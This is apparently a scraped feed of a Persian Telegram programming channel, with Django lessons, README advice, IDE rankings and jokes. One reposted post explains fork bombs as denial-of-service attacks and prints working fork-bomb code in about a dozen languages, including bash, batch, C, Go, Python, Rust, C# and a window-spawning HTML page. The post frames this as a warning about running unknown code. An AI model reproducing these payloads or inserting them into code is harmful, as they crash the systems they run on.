Fara Code | برنامه نویسی
رفتن به کانال در Telegram
جایی که صفر و یکها خوش میگذره! 📘 books & codes 🧠 tips & tricks 🎉 fun for devs 👥 group: @FaraCodeGp 🧑💻 admin: @worlddhello
نمایش بیشتر3 167
مشترکین
+124 ساعت
+77 روز
+3930 روز
آرشیو پست ها
استاد جادی یک ویدیو جالب در مورد زبان برنامه نویسی جدید موجو که خیلی سر و صدا کرده، گذاشته که حتما توصیه میکنم ببینید.
www.instagram.com/reel/Cwh-RwJv7FL/?igshid=MmU2YjMzNjRlOQ==
@Learrning_Python
@python_develops
Repost from « FaraTech »
⚠️هشدار : قبل از کامل خوندن پست، هیچکدوم از کد هارو اجرا نکنید ⚠️
فورک بمب (forkbomb) چیه؟
فورک بمب یه نوع حمله محرومیت از سرویس (DoS) هست که در اون یه فرآیند به طور مداوم اقدام به کپیبرداری از خودش میکنه و به این ترتیب منابع سیستم رو مصرف میکنه، که باعث آهسته شدن و در نهایت از کار افتادن سیستم میشه.
نحوه کارکرد فورک بمبها هم به این صورت هست که همزمان هم پردازنده رو اشغال میکنن و هم جدول فرایندهای سیستمعامل رو اشباع میکنن. میشه با ایجاد کردن یه فرآیند جدید تو یه حلقه بینهایت به آسونی یه فورک بمب ساده ساخت.
مثلا یه نمونه از کد فورک بمب تو شلاسکریپت به صورت زیر هست:
:(){:|:&};:
این کد یه تابع رو تعریف میکنه که خودش رو به صورت بازگشتی فراخوانی میکنه. هر بار که این تابع فراخوانی میشه، یه فرآیند جدید ایجاد میشه. بنابراین، با اجرای این کد، یه فرآیند جدید به طور مداوم در حال ایجاد شدن هست و این باعث میشه که سیستم از کار بیفته.
این یکی از دلایلی هست که میگن هر کدی که تو اینترنت پیدا کردین تا درکش نکردین اجرا نکنین.
خب، مثال هایی از فورک بمب تو زبانهای مختلف میزارم براتون :
★ Bash Script :
#!/bin/bash
./$0|./$0&
⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏
★ Batch (windows) :
%0|%0
⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏
★ C :
#include <stdio.h>
#include <sys/types.h>
int main()
{
while(1)
fork();
return 0;
}
⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏
★ Dart :
import'dart:isolate';
class f{
static k(o){
f();
}
f(){
for(;;)
Isolate.spawn(k,0);
}
}
main(){
f();
}
⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏
★ C++ :
#include <cstdlib>
int main(int argc, char **argv)
{
while (1) system(argv[0]);
return 0;
}
⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏
★ Golang :
package main
func main() {
for {
go main()
}
}
⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏
★ JavaScript :
<html>
<body>
<script>
setInterval(function() {
var w = window.open();
w.document.write(document.documentElement.outerHTML||document.documentElement.innerHTML);
}, 10);
</script>
</body>
</html>
⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏
★ Python :
import os
while 1:
os.fork()
⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏
★ Shell Script :
#!/bin/sh
:(){ :|: & };:
⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏
★ Rust :
#[allow(unconditional_recursion)]
fn main() {
std::thread::spawn(main);
main();
}
⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏
Code by @WilsonWeber
★ C# :
while (true)
{
Process.Start(Assembly.GetExecutingAssembly().Location);
}
⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏
کافیه این کد هارو تو یه فایل ذخیره و اجرا کنین، تا ببین چجوری منابع سیستمتون مصرف میشه و سیستم کرش میکنه🙃
البته، فایل HTML رو اگه اجرا کنین احتمالا بعد چند ثانیه جلوش گرفته میشه و نمیزاره صفحات بیشتری باز کنه و موجب کرش بشه، حداقل تو فایرفاکس که اینطوریه.
لطفا اجرا نکنین، فقط خواستم بگم بدونین که چقدر کدهایی که نمیدونین چیکار میکنن، میتونن خطرناک باشن(هر چند این که یه کد سادست، ولی کد های خطرناکتری هم هست)
پ.ن : اگه اشتباهی تو کدها بود هم بگین تصحیح کنم، تشکر❤️
@ProDev_Channel🔅 آموزش جنگو
قسمت: 32
بستون ۳۲ - به روز رسانی خبرها در هربار ورود به صفحه
🔻آموزش جنگو قسمت اول
#جنگو #django
🆔@Learrning_Python
گوگل لنز برای کاربران ایرانی رفع تحریم میشود. ( منبع )
@Learrning_Python
Repost from Python Hints
امکان نداره شما پروژه پایتونی رو کد بزنید و اطلاعات درست پروژه رو ندید
Readme.mdحداقل باید شامل ۳ مورد باشه : ۱- سیستم عاملی که روش کد زدید یا تست گرفتید :
OS: Ubuntu 20.04
۲- ورژن پایتونی که دارید استفاده میکنید:
Python: CPython 3.10.12
پایتون نسخههای مختلفی داره اگر از نسخه سایت python.org استفاده میکنید به اسم CPython شناخته میشه (توی شرکتهایی که از نسخههای دیگه مثل IronPython - Pypy - IntelPython استفاده میکنند رعایت این نکته بسیار مهم هست)
۳- دستور اصلی به جهت اجرای پروژه :
$ python main.py —help
فقط تحت ۱ شرابط حق دارید ۲ مورد اول رو جایی گزارش نکنید و کسی هم بهتون سخت نگیره (هرچند بازم خوب نیست ولی خب) :
Docker
اگر Dockerfile یا docker image استفاده میکنید توی پروژه میتونید به ترتیب هر ۳ مورد یا ۲ مورد اول رو توی گزارش ننویسید.محبوبترین محیطهای توسعهبرایبرنامهنویسان💻
⭐️ بهترتیب
Vscode
VisualStadio
PyCharm
intellij idea
Notepad ++
Vim
Jupiter Notebook
Sublime Text
🟢 آمار بر اساس استکاورفلو هست.
@Learrning_Python
@python_develops
🔅 آموزش جنگو
قسمت: 31
بستون ۳۱ - نمایش خرج ها و درآمدهای قبلی در اپ آیونیک
🔻آموزش جنگو قسمت اول
#جنگو #django
برنامه نویسی پایتون
🆔@Learrning_Python
فشرده سازی فایل ها با پایتون📁🐍
#پایتون #آموزش
@Learrning_Pythom
@python_develops
استوریهای تلگرام برای کاربران ایران فعلا منتشر نمیشه ❌
برای کاربران در کشور های روسیه ،اندونزی ، اوکراین ، ازبکستان و هند نیز هنوز امکان ارسال استوری فعال نشده ❗️
@Learrning_Python
🔻وزیر ارتباطات:
🔹به زودی اینترنت با سرعت چندصد مگابایت بر ثانیه در چند شهر در اختیار مردم قرار خواهد گرفت.😐
نظرتون چیه؟
@Learrning_Python
@python_develops
پادکست های فارسی برنامه نویسی🎙
🔹راکت کست
🔸سورس ایران
🔹رادیو فول استک
🔸سون لرن
🔹فرانت کست
🔸رادیو گیگ
#پادکست #برنامهنویسی
@Learrning_Python
@python_develops
سرعت تغییر مود برنامه نویسا بعد از باگ😂😁
#fun
#فان
@Learrning_Python
@python_develops
تفاوت زبان های مفسری و کامپایلری
#پایتون #مفسری #کامپایل
@Learrning_Python
@python_develops
برنامه نویس : ولی روی سیستم من کار میکنه.
تستر: درسته ولی قرار نیست سیستم شمارو بدیم دست مشتری.
😂
#fun
#فان
@Learrning_Python
@python_develops
اکنون در دسترس! پژوهش تلگرام ۲۰۲۵ — مهمترین بینشهای سال 
